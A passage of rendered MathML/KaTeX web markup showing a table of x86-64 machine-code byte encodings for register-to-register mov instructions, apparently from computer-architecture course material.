</mtext><mi>d</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>e</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>f</mi><mi>f</mi></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{array}{l|llllllll}\text{Source } S &amp; \text{Dest. } D &amp; &amp; &amp; &amp; &amp; &amp; &amp; \\\hline&amp; \%rax &amp; \%rcx &amp; \%rdx &amp; \%rbx &amp; \%rsp &amp; \%rbp &amp; \%rsi &amp; \%rdi \\\hline\%rax &amp; 48\ 89\ c0 &amp; 48\ 89\ c1 &amp; 48\ 89\ c2 &amp; 48\ 89\ c3 &amp; 48\ 89\ c4 &amp; 48\ 89\ c5 &amp; 48\ 89\ c6 &amp; 48\ 89\ c7 \\\%rcx &amp; 48\ 89\ c8 &amp; 48\ 89\ c9 &amp; 48\ 89\ ca &amp; 48\ 89\ cb &amp; 48\ 89\ cc &amp; 48\ 89\ cd &amp; 48\ 89\ ce &amp; 48\ 89\ cf \\\%rdx &amp; 48\ 89\ d0 &amp; 48\ 89\ d1 &amp; 48\ 89\ d2 &amp; 48\ 89\ d3 &amp; 48\ 89\ d4 &amp; 48\ 89\ d5 &amp; 48\ 89\ d6 &amp; 48\ 89\ d7 \\\%rbx &amp; 48\ 89\ d8 &amp; 48\ 89\ d9 &amp; 48\ 89\ da &amp; 48\ 89\ db &amp; 48\ 89\ dc &amp; 48\ 89\ dd &amp; 48\ 89\ de &amp; 48\ 89\ df \\\%rsp &amp; 48\ 89\ e0 &amp; 48\ 89\ e1 &amp; 48\ 89\ e2 &amp; 48\ 89\ e3 &amp; 48\ 89\ e4 &amp; 48\ 89\ e5 &amp; 48\ 89\ e6 &amp; 48\ 89\ e7 \\\%rbp &amp; 48\ 89\ e8 &amp; 48\ 89\ e9 &amp; 48\ 89\ ea &amp; 48\ 89\ eb &amp; 48\ 89\ ec &amp; 48\ 89\ ed &amp; 48\ 89\ ee &amp; 48\ 89\ ef \\\%rsi &amp; 48\ 89\ f0 &amp; 48\ 89\ f1 &amp; 48\ 89\ f2 &amp; 48\ 89\ f3 &amp; 48\ 89\ f4 &amp; 48\ 89\ f5 &amp; 48\ 89\ f6 &amp; 48\ 89\ f7 \\\%rdi &amp; 48\ 89\ f8 &amp; 48\ 89\ f9 &amp; 48\ 89\ fa &amp; 48\ 89\ fb &amp; 48\ 89\ fc &amp; 48\ 89\ fd &amp; 48\ 89\ fe &amp; 48\ 89\ ff \\\end{array}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:12em;vertical-align:-5.75em;"></span><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.25em;"><span class="pstrut" style="height:8.25em;"></span><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Source </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rc</span><span class="mord mathnormal">x</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">p</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">i</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:12em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-5.75em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Dest. </span></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">8</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">8</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">0</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">8</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">0</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rc</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">1</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">9</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">1</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">9</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">1</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">2</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">2</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">2</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">3</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">b</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">3</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">3</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">4</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">cc</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">4</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ec</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">4</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">p</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">5</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">d</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">5</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">dd</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">5</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">5</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">fd</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">i</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">6</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ce</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">6</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">6</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ee</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span 